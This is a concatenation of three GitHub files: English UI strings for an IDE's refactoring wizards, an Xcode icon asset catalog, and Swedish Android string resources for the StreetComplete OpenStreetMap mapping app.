RenameTypeWizardSimilarElementsPage_name_should_start_lowercase=Element names should start with a lowercase character.
RenameTypeWizardSimilarElementsPage_review_similar_elements=&Similarly named variables and functions to be renamed
RenameTypeWizardSimilarElementsPage_select_element_to_view_source=Select an element
RenameTypeWizardSimilarElementsOptionsDialog_title=Similar Names Configuration
RenameTypeWizardSimilarElementsOptionsDialog_select_strategy=Strategy for matching type names (e.g., 'SomeClass') in variable and function names:
RenameTypeWizardSimilarElementsOptionsDialog_warning_short_names=Short type names or short suffixes may lead to unexpected results when matching partial names. Please review the matched elements carefully.
RenameTypeWizardSimilarElementsOptionsDialog_strategy_1=Find &exact names only ('someClass' or 'someClass()')
RenameTypeWizardSimilarElementsOptionsDialog_strategy_2=Also find e&mbedded names ('mySomeClassToUse' or 'getSomeClass()')
RenameTypeWizardSimilarElementsOptionsDialog_strategy_3=Also find name &suffixes ('class', 'myClass', or 'getClassToUse()')
#######################################
# IntroduceParameter
#######################################
IntroduceParameterAction_label=Introduce &Parameter...
IntroduceParameterAction_dialog_title=Introduce Parameter
IntroduceParameterWizard_defaultPageTitle=Introduce Parameter
IntroduceParameterWizard_parameters=&Parameters:
IntroduceParameterInputPage_description=Enter the name for the new parameter.
#######################################
# Introduce Indirection
#######################################
IntroduceIndirectionAction_title=Introduce Indirec&tion...
IntroduceIndirectionAction_dialog_title=Introduce Indirection
IntroduceIndirectionAction_tooltip=Introduce an Indirection to Encapsulate Function Calls
IntroduceIndirectionAction_description=Introduces an indirection to encapsulate calls to the selected function
IntroduceIndirectionAction_unknown_exception=An unexpected exception occurred. See the error log for more details
IntroduceIndirectionInputPage_browse=&Browse...
IntroduceIndirectionInputPage_new_method_name=New function &name:
IntroduceIndirectionInputPage_declaring_class=Declaring &type:
IntroduceIndirectionInputPage_update_references=&Redirect all function invocations
IntroduceIndirectionInputPage_select_declaring_class=Please select a declaring type.
IntroduceIndirectionInputPage_dialog_choose_declaring_class=Choose Type
IntroduceIndirectionInputPage_dialog_choose_declaring_class_long=&Choose the type where to insert the new function:
#######################################
# Introduce Factory
#######################################
IntroduceFactoryAction_label=Intr&oduce Factory...
IntroduceFactoryAction_dialog_title=Introduce Factory
IntroduceFactoryAction_tooltipText=Introduce a Factory to Encapsulate Object Instantiation
IntroduceFactoryAction_description=Creates a factory to encapsulate calls to the selected constructor
IntroduceFactoryAction_use_factory=Introduce Factory
IntroduceFactoryAction_exception=An unexpected exception occurred. See the error log for more details
IntroduceFactoryInputPage_name_factory=Factory options
IntroduceFactoryInputPage_method_name=Factory function &name:
IntroduceFactoryInputPage_protectConstructorLabel=Ma&ke constructor private
IntroduceFactoryInputPage_browseLabel=&Browse...
IntroduceFactoryInputPage_factoryClassLabel=Factory &class:
IntroduceFactoryInputPage_chooseFactoryClass_title=Choose Factory Class
IntroduceFactoryInputPage_chooseFactoryClass_message=&Choose the class on which to place the factory function:
#######################################
# Generalize Declared Type
#######################################
ChangeTypeAction_label=Generali&ze Declared Type...
ChangeTypeAction_tooltipText=Generalize Variable\'s Declared Type
ChangeTypeAction_description=Change variable\'s declared type to more general type consistent with usage
ChangeTypeAction_exception=An unexpected exception occurred. See the error log for more details
ChangeTypeAction_dialog_title=Generalize Declared Type
ChangeTypeWizard_title=Generalize Declared Type
ChangeTypeWizard_declCannotBeChanged=Type of selected declaration cannot be changed
ChangeTypeWizard_pleaseChooseType=&Choose new type for ''{0}'':
ChangeTypeWizard_analyzing=Analyzing...
ChangeTypeWizard_internalError=An unexpected exception occurred. See the error log for more details.
ChangeTypeWizard_computationInterrupted=Computation of valid types was interrupted
ChangeTypeWizard_grayed_types= Type ''{0}'' cannot be used as a replacement for type ''{1}''
ChangeTypeWizard_with_itself= Cannot replace type ''{0}'' with itself
ChangeTypeInputPage_Select_Type=Press "Compute" to determine allowable supertypes
JavaTypeCompletionProcessor_no_completion=No completions available.
JavaStatusContextViewer_no_source_found0=Source not found\n\nThe jar file {0} has no source attachment.
JavaStatusContextViewer_no_source_available=No source available
#######################################
# Infer Type Arguments
#######################################
InferTypeArgumentsAction_label=Infer &Generic Type Arguments...
InferTypeArgumentsAction_dialog_title=Infer Generic Type Arguments
InferTypeArgumentsAction_unavailable=To activate this refactoring, please select a set of JavaScript files, packages, source folders, or javaScript projects.
InferTypeArgumentsWizard_defaultPageTitle=Infer Generic Type Arguments
InferTypeArgumentsInputPage_description=Infer Generic Type Arguments
InferTypeArgumentsWizard_lengthyDescription=Infer type arguments for references to generic types and remove unnecessary casts.
InferTypeArgumentsWizard_assumeCloneSameType=&Assume clone() returns an instance of the receiver type
InferTypeArgumentsWizard_leaveUnconstrainedRaw=&Leave unconstrained type arguments raw (rather than inferring <?>)
#######################################
# Replace Invocations
#######################################
ReplaceInvocationsAction_label=Replace In&vocations...
ReplaceInvocationsWizard_title=Replace Function Invocations
ReplaceInvocationsAction_dialog_title=Replace Invocations
ReplaceInvocationsInputPage_replaceInvocationsBy=&Replace Invocations by:
ReplaceInvocationsInputPage_replaceAll=Replace &all invocations
ReplaceInvocationsAction_unavailable=An unexpected exception occurred. See the error log for more details
RefactoringExecutionStarter_IntroduceParameterObject_problem_title=Introduce Parameter Object
RefactoringExecutionStarter_IntroduceParameterObject_problem_description=Cannot add a parameter object as the selected function overrides or implements a read only function
JarImportWizard_prepare_import=Prepare replay of refactorings...
JarImportWizard_error_shared_jar=Cannot replay refactorings, since the JAR file is also on the build path of project ''{0}''.
BinaryRefactoringHistoryWizard_error_missing_source_attachment=The refactoring ''{0}'' cannot be performed, since it needs a source attachment.
JarImportWizard_cleanup_import=Finish replay of refactorings...
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"filename" : "fullscreenIcon.png",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"idiom" : "universal",
"filename" : "[email protected]",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- Fuzzy -->
<string name="action_settings">"Inställningar"</string>
<!-- Fuzzy -->
<string name="oauth_communication_error">"Ingen åtkomst till servern för godkännande"</string>
<!-- Fuzzy -->
<string name="retry">"Försök igen"</string>
<!-- Fuzzy -->
<string name="oauth_failed_permissions">"Godkännandet misslyckades: alla listade behörigheter måste tillåtas"</string>
<!-- Fuzzy -->
<string name="title_activity_settings">"Inställningar"</string>
<!-- Fuzzy -->
<string name="pref_category_communication">"Kommunikation"</string>
<!-- Fuzzy -->
<string name="pref_category_display">"Visa"</string>
<string name="pref_tilecache_size_summary">"%d MB"</string>
<!-- Fuzzy -->
<string name="pref_tilecache_size_message">"Utrymme i megabyte som reserveras på yttre lagring för att cacha kartdelar"</string>
<!-- Fuzzy -->
<string name="pref_title_show_notes_not_phrased_as_questions">"Visa alla anteckningar"</string>
<!-- Fuzzy -->
<string name="pref_summaryOn_show_notes_not_phrased_as_questions">"Visar även anteckningar som inte är ställda som frågor"</string>
<!-- Fuzzy -->
<string name="pref_summaryOff_show_notes_not_phrased_as_questions">"Ignorerar anteckningar som inte är ställda som frågor"</string>
<!-- Fuzzy -->
<string name="pref_title_map_cache">"Storlek på kartcache"</string>
<!-- Fuzzy -->
<string name="map_btn_gps_tracking">"Följ mig"</string>
<!-- Fuzzy -->
<string name="map_attribution_osm">"© OpenStreetMap-bidragsgivare"</string>
<!-- Fuzzy -->
<string name="quest_generic_otherAnswers">"Andra svar…"</string>
<!-- Fuzzy -->
<string name="quest_generic_answer_notApplicable">"Svårt att säga…"</string>
<!-- Fuzzy -->
<string name="quest_generic_confirmation_title">"Är du säker?"</string>
<!-- Fuzzy -->
<string name="quest_generic_confirmation_yes">"Ja, jag är säker"</string>
<!-- Fuzzy -->
<string name="quest_generic_confirmation_no">"Jag ska kolla"</string>
<!-- Fuzzy -->
<string name="quest_generic_error_field_empty">"Du lämnade fältet tomt"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_title">"Vill du lämna en anteckning i stället?"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_description">"Du har möjlighet att lämna en offentlig anteckning på platsen som andra kartläggare kan kommentera och förhoppningsvis lösa problemet."</string>
<string name="quest_leave_new_note_yes">"OK"</string>
<!-- Fuzzy -->
<string name="quest_leave_new_note_no">"Nej, dölj bara"</string>
<!-- Fuzzy -->
<string name="quest_streetName_title">"Vad heter vägen?"</string>
<!-- Fuzzy -->
<string name="quest_streetName_description">"som det står på vägskylten, skriv gärna ut förkortningar:"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noName_confirmation_description">"I bland finns det en gatuskylt bara i ena ändan av gatan. Märk även att det kanske inte finns separata gatuskyltar för sidovägar som hör till en större gata. Vanligtvis har en gata med villabebyggelse ett namn."</string>
<!-- Fuzzy -->
<string name="quest_streetName_nameWithAbbreviations_confirmation_description">"Om namnet kan skrivas utan förkortningen, ska det skrivas så. Många vanliga förkortningar skrivs ut automatiskt medan du skriver, men troligen inte alla."</string>
<!-- Fuzzy -->
<string name="quest_streetName_nameWithAbbreviations_confirmation_positive">"Ingen förkortning"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_name_title">"Vad har %s för öppettider?"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_start_time">"öppnar"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_end_time">"stänger"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_add_months">"Lägg till månader"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_add_hours">"Lägg till timmar"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_add_weekdays">"Lägg till veckodagar"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_chooseMonthsTitle">"Välj månader"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_chooseWeekdaysTitle">"Välj veckodagar"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_24_7_confirmation">"Med andra ord, är det öppet när som helst, varje dag?"</string>
<!-- Fuzzy -->
<string name="quest_noteDiscussion_title">"Kan du bidra till denna anteckning?"</string>
<!-- Fuzzy -->
<string name="quest_noteDiscussion_no">"Nej, dölj"</string>
<!-- Fuzzy -->
<string name="quest_noteDiscussion_anonymous">"Anonym"</string>
<!-- Fuzzy -->
<string name="confirmation_discard_title">"Ångra inmatningen?"</string>
<!-- Fuzzy -->
<string name="confirmation_discard_positive">"Släng"</string>
<!-- Fuzzy -->
<string name="confirmation_discard_negative">"Avbryt"</string>
<!-- Fuzzy -->
<string name="action_download">"Sök efter uppdrag här"</string>
<!-- Fuzzy -->
<string name="action_upload">"Skicka svar"</string>
<!-- Fuzzy -->
<string name="no_changes">"Du lämnade formuläret tomt"</string>
<!-- Fuzzy -->
<string name="close">"stäng"</string>
<!-- Fuzzy -->
<string name="download_error">"Fel vid sökning av uppdrag"</string>
<!-- Fuzzy -->
<string name="upload_error">"Fel vid sändning av svar"</string>
<!-- Fuzzy -->
<string name="download_area_too_big">"Vänligen zooma in ytterligare"</string>
<!-- Fuzzy -->
<string name="confirmation_cancel_prev_download_title">"Avbryt den aktuella sökningen och sök här i stället?"</string>
<!-- Fuzzy -->
<string name="notification_downloading">"Söker efter uppdrag…"</string>
<!-- Fuzzy -->
<string name="turn_on_location_request">"Positionshämtning är avstängd. Öppna inställningar för att slå på det nu?"</string>
<!-- Fuzzy -->
<string name="no_location_permission_warning">"Din plats är nödvändigt för att söka efter uppdrag i din närhet."</string>
<!-- Fuzzy -->
<string name="about_title_authors">"Tack till"</string>
<!-- Fuzzy -->
<string name="about_summary_authors">"© 2016–2020 Tobias Zwick och bidragsgivare"</string>
<!-- Fuzzy -->
<string name="about_title_repository">"Källkodsarkiv"</string>
<!-- Fuzzy -->
<string name="about_summary_repository">"på GitHub"</string>
<!-- Fuzzy -->
<string name="about_title_report_error">"Rapportera fel"</string>
<!-- Fuzzy -->
<string name="about_title_feedback">"Ge återkoppling"</string>
<!-- Fuzzy -->
<string name="about_title_license">"Licens"</string>
<string name="about_summary_license">"GNU General Public License"</string>
<!-- Fuzzy -->
<string name="offline">"Du är frånkopplad"</string>
<!-- Fuzzy -->
<string name="confirmation_authorize_now">"Du måste ge programmet tillåtelse att använda ditt OpenStreetMap-konto för att publicera dina svar. Vill du ge tillåtelse nu?"</string>
<!-- Fuzzy -->
<string name="not_authorized">"Inte godkänd"</string>
<!-- Fuzzy -->
<string name="version_banned_message">"Denna version av StreetComplete är för gammal. Vänligen uppdatera!"</string>
<!-- Fuzzy -->
<string name="no_gps_no_quests">"För att söka efter uppdrag runt omkring dig automatiskt, slå på plats"</string>
<!-- Fuzzy -->
<string name="nothing_more_to_download">"Det finns inga fler uppdrag här"</string>
<!-- Fuzzy -->
<string name="later">"Senare"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noProperStreet_link">"Den bara förbinder två vägar"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_noProperStreet_leaveNote">"Något annat (lämna anteckning)"</string>
<!-- Fuzzy -->
<string name="about_title_privacy_statement">"Sekretesspolicy"</string>
<!-- Fuzzy -->
<string name="about_summary_privacy_statement">"och dataanvändning"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_public_holidays">"Allmänna helgdagar"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_public_holidays_short">"Röda dagar"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_open_end">"Ingen fast stängningstid"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_answer_247">"Öppet dygnet runt"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_answer_seasonal_opening_hours">"Varierar från månad till månad…"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_answer_no_regular_opening_hours">"Inga regelbundna öppettider…"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_comment_title">"Beskriv öppettider"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_comment_description">"Var kortfattad, använd helst formuleringen från skylten. Ex. \"enligt överenskommelse\". Avsaknaden av en skylt betyder inte nödvändigtvis att det inte finns några fasta öppettider."</string>
<!-- Fuzzy -->
<string name="quest_buildingLevels_title">"Hur många våningar har den här byggnaden?"</string>
<!-- Fuzzy -->
<string name="quest_buildingLevels_title_buildingPart">"Hur många våningar har denna byggnadsdel?"</string>
<!-- Fuzzy -->
<string name="quest_roofShape_title">"Vilken form har byggnadens tak?"</string>
<!-- Fuzzy -->
<string name="quest_roofShape_select_one">"Välj en:"</string>
<!-- Fuzzy -->
<string name="quest_roofShape_show_more">"Visa mer…"</string>
<!-- Fuzzy -->
<string name="quest_roofShape_answer_many">"Det har flera olika former"</string>
<!-- Fuzzy -->
<string name="pref_title_sync">"Automatisk synkronisering"</string>
<!-- Fuzzy -->
<string name="map_btn_zoom_out">"Zooma ut"</string>
<!-- Fuzzy -->
<string name="map_btn_zoom_in">"Zooma in"</string>
<!-- Fuzzy -->
<string name="privacy_html">"<p>Ah, någon som bryr sig om sekretess, trevligt! Jag tror jag har bara goda nyheter för dig:</p>
<p><b>Direkta bidrag</b></p>
<p>
Först och främst förstår du att med den här appen gör du verkliga och direkta bidrag till OpenStreetMap.
<br/>
Allt du bidrar i den här appen läggs direkt till på kartan, det finns ingen tredje part mellan appen och OSM-infrastrukturen, som är fallet med <a href=\"https://wheelmap.org\">wheelmap.org</a> eller <a href=\"http://www.kort.ch\">Kort</a>.
</p>
<p>
Att redigera OpenStreetMap anonymt är inte möjligt, så eventuella ändringar du gör görs med ditt OSM-användarkonto. Detta innebär, att datum, innehåll och underförstådda placeringen av dina ändringar är synliga offentligt på openstreetmaps webbplats och är hänförliga till ditt konto.
</p>
<b>Plats</b><br/>
<p>
Appen delar inte din GPS-position med någon. Det används för att automatiskt söka efter uppdrag runt ditt område och att fokusera (och därmed hämta) kartan runt din plats.
</p>
<p><b>Dataanvändning</b></p>
<p>
Som nämnts kommunicerar appen direkt med OSM-Infrastruktur. Det vill säga med <a href=\"https://wiki.openstreetmap.org/wiki/Overpass_API\">Overpass API</a> för hämtningen av uppdrag (som är anonym) och med <a href=\"https://wiki.openstreetmap.org/wiki/API_v0.6\" >OSM API</a> för att skicka ändringar.<br/>
Men innan du skickar dina ändringar kontrollerar appen med en <a href=\"https://www.westnordost.de/streetcomplete/banned_versions.txt\">enkel textfil</a> på min server om det har förbjudits att skicka några ändringar. Detta är en försiktighetsåtgärd för att kunna behålla versioner av appen som visar sig ha kritiska fel från att eventuellt korrumpera OSM-data.</p>"</string>
<!-- Fuzzy -->
<string name="autosync_on">"På"</string>
<!-- Fuzzy -->
<string name="autosync_only_on_wifi">"Endast på Wi-Fi"</string>
<!-- Fuzzy -->
<string name="autosync_off">"Av"</string>
<!-- Fuzzy -->
<string name="quest_streetSurface_title">"Vad har den här delen av vägen för underlag?"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_paved">"Belagd (generisk)"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_unpaved">"Obelagd (generiska)"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_ground">"Mark (generiska)"</string>
<string name="quest_surface_value_asphalt">"Asfalt"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_compacted">"Sammanpressad sten"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_concrete">"Betong"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_dirt">"Jord"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_fine_gravel">"Fint grus"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_grass">"Gräs"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_grass_paver">"Dagvattenuppsamling"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_gravel">"Grus"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_paving_stones">"Gatsten"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_pebblestone">"Småsten"</string>
<string name="quest_surface_value_sand">"Sand"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_sett">"Kullersten"</string>
<!-- Fuzzy -->
<string name="quest_surface_value_wood">"Trä"</string>
<!-- Fuzzy -->
<string name="quest_placeName_title">"Vad är namnet på det här stället?"</string>
<!-- Fuzzy -->
<string name="quest_sidewalk_title">"Finns det en trottoar längs den här gatan?"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_info_urbanOrRural">"Var ligger den här gatan?"</string>
<!-- Fuzzy -->
<string name="quest_cyclewaySurface_title">"Vad har cykelvägen för underlag här?"</string>
<!-- Fuzzy -->
<string name="quest_serviceType_title">"Vilken typ av tjänstväg är detta?"</string>
<!-- Fuzzy -->
<string name="quest_streetLanes_title">"Hur många körfält har denna väg?"</string>
<!-- Fuzzy -->
<string name="quest_streetLanes_description">"Om vägen saknar mittlinje har det inte några körfält."</string>
<!-- Fuzzy -->
<string name="quest_streetLanes_answer_noLanes">"Den har inga markerade körfält"</string>
<!-- Fuzzy -->
<string name="quest_streetLanes_noLanes_estWidth">"Försök att uppskatta hur många bilar som skulle få plats bredvid varandra på den här vägen."</string>
<!-- Fuzzy -->
<string name="quest_oneway_title">"Är det här en enkelriktad gata?"</string>
<!-- Fuzzy -->
<string name="quest_address_title">"Vad har den här byggnaden för husnummer?"</string>
<!-- Fuzzy -->
<string name="store_listing_short_description">"Kartläggninsapp för OpenStreetMap"</string>
<!-- Fuzzy -->
<string name="store_listing_full_description">"Bidra till att förbättra OpenStreetMap med StreetComplete!
Appen hittar ofullständiga uppgifter i din närhet och visar dem på en karta som markörer. Var och en av dessa går att lösa på plats genom att besvara en enkel fråga.
Den information du anger skickas sedan direkt till OpenStreetMap i ditt namn, utan att du behöver använda en annan redigerare."</string>
<!-- Fuzzy -->
<string name="quest_name_answer_noName">"Den har inget namn…"</string>
<!-- Fuzzy -->
<string name="quest_name_answer_noName_confirmation_title">"Är du säker på att den saknar namn?"</string>
<!-- Fuzzy -->
<string name="quest_name_noName_confirmation_positive">"Ja, den saknar namn"</string>
<!-- Fuzzy -->
<string name="quest_openingHours_add_times">"Lägg till öppettider"</string>
<!-- Fuzzy -->
<string name="crash_message">"Vill du skicka felrapporten till utvecklaren?"</string>
<!-- Fuzzy -->
<string name="crash_title">"Åh nej, StreetComplete kraschade förra gången!"</string>
<!-- Fuzzy -->
<string name="crash_compose_email">"Skriv e-post"</string>
<!-- Fuzzy -->
<string name="no_email_client">"Du har ingen e-postklient installerad."</string>
<!-- Fuzzy -->
<string name="pref_title_keep_screen_on">"Behåll skärmen på"</string>
<!-- Fuzzy -->
<string name="download_server_error">"Uppkopplingsfel vid sök efter uppdrag. Försök igen senare."</string>
<!-- Fuzzy -->
<string name="upload_server_error">"Uppkopplingsfel vid uppladdning av svar. Försök igen senare."</string>
<!-- Fuzzy -->
<string name="quest_generic_hasFeature_yes">"Ja"</string>
<!-- Fuzzy -->
<string name="quest_generic_hasFeature_no">"Nej"</string>
<!-- Fuzzy -->
<string name="quest_busStopShelter_title">"Har den här hållplatsen en busskur?"</string>
<!-- Fuzzy -->
<string name="quest_bikeParkingCapacity_title">"Hur många cyklar kan parkeras här?"</string>
<!-- Fuzzy -->
<string name="quest_address_unusualHousenumber_confirmation_description">"Det här husnumret ser väldigt ovanligt ut."</string>
<!-- Fuzzy -->
<string name="quest_sport_title">"Vilken sport utförs här?"</string>
<!-- Fuzzy -->
<string name="quest_sport_answer_multi">"Ingen specifik sport"</string>
<!-- Fuzzy -->
<string name="quest_sport_soccer">"Fotboll"</string>
<string name="quest_sport_tennis">"Tennis"</string>
<string name="quest_sport_baseball">"Baseball"</string>
<string name="quest_sport_basketball">"Basket"</string>
<string name="quest_sport_golf">"Golf"</string>
<!-- Fuzzy -->
<string name="quest_sport_equestrian">"Hästsport"</string>
<!-- Fuzzy -->
<string name="quest_sport_athletics">"Friidrott"</string>
<string name="quest_sport_volleyball">"Volleyboll"</string>
<!-- Fuzzy -->
<string name="quest_sport_beachvolleyball">"Beachvolleyboll"</string>
<!-- Fuzzy -->
<string name="quest_sport_american_football">"Amerikansk fotboll"</string>
<!-- Fuzzy -->
<string name="quest_sport_skateboard">"Skateboard"</string>
<string name="quest_sport_bowls">"Bowls"</string>
<!-- Fuzzy -->
<string name="quest_sport_boules">"Boule"</string>
<!-- Fuzzy -->
<string name="quest_sport_shooting">"Skytte"</string>
<string name="quest_sport_cricket">"Kricket"</string>
<!-- Fuzzy -->
<string name="quest_sport_table_tennis">"Bordtennis"</string>
<!-- Fuzzy -->
<string name="quest_sport_gymnastics">"Gymnastik"</string>
<!-- Fuzzy -->
<string name="quest_sport_archery">"Bågskytte"</string>
<!-- Fuzzy -->
<string name="quest_sport_australian_football">"Australisk fotboll"</string>
<string name="quest_sport_badminton">"Badminton"</string>
<!-- Fuzzy -->
<string name="quest_sport_canadian_football">"Kanadensisk fotboll"</string>
<!-- Fuzzy -->
<string name="quest_sport_field_hockey">"Landhockey"</string>
<string name="quest_sport_handball">"Handboll"</string>
<!-- Fuzzy -->
<string name="quest_sport_ice_hockey">"Ishockey"</string>
<string name="quest_sport_netball">"Nätboll"</string>
<string name="quest_sport_rugby">"Rugby"</string>
<!-- Fuzzy -->
<string name="quest_select_hint">"Välj:"</string>
<!-- Fuzzy -->
<string name="quest_sport_manySports_confirmation_description">"Är denna planen gjord speciellt för dessa sporter (där utrustning och märken finns) eller är det en allmän plan för alla sorters spel?"</string>
<!-- Fuzzy -->
<string name="quest_manySports_confirmation_specific">"Dessa specifikt"</string>
<!-- Fuzzy -->
<string name="quest_manySports_confirmation_generic">"Allmänna ändamål"</string>
<!-- Fuzzy -->
<string name="quest_sport_manySports_confirmation_title">"Du valde många sporter"</string>
<!-- Fuzzy -->
<string name="quest_busStopShelter_name_title">"Har hållplatsen %s en busskur?"</string>
<!-- Fuzzy -->
<string name="quest_toiletsFee_title">"Kostar det något att använda toaletten?"</string>
<!-- Fuzzy -->
<string name="quest_tactilePaving_title_bus">"Har busshållplatsen taktil beläggning?"</string>
<!-- Fuzzy -->
<string name="quest_tactilePaving_title_crosswalk">"Har övergångsstället taktil beläggning?"</string>
<!-- Fuzzy -->
<string name="quest_source_dialog_title">"Har du kontrollerat detta på plats?"</string>
<!-- Fuzzy -->
<string name="quest_tactilePaving_title_name_bus">"Har busshållplatsen %s taktil beläggning?"</string>
<!-- Fuzzy -->
<string name="quest_source_dialog_note">"Lägg bara in information som du har observerat på plats."</string>
<!-- Fuzzy -->
<string name="quest_bicycleParkingCoveredStatus_title">"Är det tak över den här cykelparkeringen?"</string>
<!-- Fuzzy -->
<string name="dialog_session_dont_show_again">"Visa inte igen under den här sessionen."</string>
<!-- Fuzzy -->
<string name="quest_streetSurface_name_title">"Vad har %s för underlag här?"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_unusualInput_confirmation_description">"Hastighetsbegränsningen verkar osannolik."</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_confirmation_title">"Är du säker att det inte finns någon skylt?"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_confirmation">"Kontrollerade du i början och slutet av vägen? Om det inte finns några skyltar längs hela vägen som gäller för den markerade sektionen kommer rekommenderad hastighet att läggas till."</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_confirmation_positive">"Ja, det finns inte någon skylt"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_urbanOrRural_description">"Det är olika bashastighet i tätbebyggt område och på landsvägar (50 och 70 km/h i Sverige)."</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_urbanOk">"Tätbebyggt område"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_ruralOk">"Landsväg"</string>
<!-- Fuzzy -->
<string name="quest_maxspeed_answer_noSign_info_zone">"Om det finns en skylt som ser ut så här vid huvudvägen kommer det inte finnas individuella skyltar inom zonen då hastighetsbegränsningen gäller för hela zonen."</string>
<string name="quest_sport_softball">"Softboll"</string>
<string name="quest_sport_racquet">"Racketboll"</string>
<!-- Fuzzy -->
<string name="quest_sport_ice_skating">"Skridskoåkning"</string>
<!-- Fuzzy -->
<string name="quest_sport_paddle_tennis">"Padeltennis"</string>
<!-- Fuzzy -->
<string name="quest_sport_gaelic_games">"Gaelisk sport"</string>
<!-- Fuzzy -->
<string name="quest_sport_sepak_takraw">"Sepak takraw"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_name_title">"Är %s tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_limited">"Delvis"</string>
<!-- Fuzzy -->
<string name="quest_bikeParkingCapacity_hint">"Notera att de flesta cykelställ kan användas från båda håll, med en cykel på vardera sida."</string>
<!-- Fuzzy -->
<string name="quest_sport_roller_skating">"Rullskridskor"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_bus_station_title">"Är busstationen tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_subway_entrance_title">"Är tunnelbaneingången tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_railway_station_title">"Är tågstationen tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_location_title">"Är den här platsen tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_bus_station_name_title">"Är busstationen %s tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_subway_entrance_name_title">"Är tunnelbaneingången %s tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_railway_station_name_title">"Är tågstationen %s tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_location_name_title">"Är %s tillgänglig med rullstol?"</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_limited_description_business">"Delvis innebär att det inte finns mer än ett enda steg för att komma åt verksamheten och att de flesta rum inuti är rullstolsanpassade."</string>
<!-- Fuzzy -->
<string name="quest_wheelchairAccess_limited_description_public_transport">"Delvis innebär att det inte finns mer än ett enda steg för att komma åt det."</string>
<!-- Fuzzy -->
<string name="quest_streetName_nameWithAbbreviations_confirmation_title_name">"Är det en förkortning i namnet %s?"</string>
<!-- Fuzzy -->
<string name="quest_baby_changing_table_toilets_title">"Har den här toaletten ett skötbord?"</string>
<!-- Fuzzy -->
<string name="quest_baby_changing_table_title">"Har %s ett skötbord?"</string>
<!-- Fuzzy -->
<string name="quest_recycling_type_title">"Vilken typ av återvinningsstation är det här?"</string>
<!-- Fuzzy -->
<string name="recycling_centre">"Återvinningscentral"</string>
<string name="overground_recycling_container">"Godsbehållare"</string>
<!-- Fuzzy -->
<string name="underground_recycling_container">"Underjordisk godsbehållare"</string>
<!-- Fuzzy -->
<string name="quest_generic_error_a_field_empty">"Du har lämnat ett tomt fält."</string>
<!-- Fuzzy -->
<string name="quest_streetName_menuItem_language_simple">"%1$s - %2$s"</string>
<!-- Fuzzy -->
<string name="quest_streetName_menuItem_language_native">"%1$s - %2$s (%3$s)"</string>
<!-- Fuzzy -->
<string name="quest_streetName_answer_cantType">"Bokstäverna på skylten kan inte skrivas"</string>
<!-- Fuzzy -->
<string name="quest_streetName_cantType_title">"Saknas tangentbordslayout?"</string>
<!-- Fuzzy -->
<string name="quest_streetName_cantType_open_settings">"Öppna inställningar"</string>
<!-- Fuzzy -->
<string name="quest_streetName_cantType_open_store">"Öppna appbutik"</string>
<!-- Fuzzy -->
<string name="quest_streetName_cantType_description">"Om du använder ett standardtangentbord är chansen att du enkelt kan aktivera tangentbordslayouten för det språk du behöver i inställningarna.
Annars kan du ladda ner ett annat tangentbord i appbutiken. Populära tangentbord som stöder många språk är Google Gboard, SwiftKey Keyboard och Multiling O Keyboard."</string>
<!-- Fuzzy -->
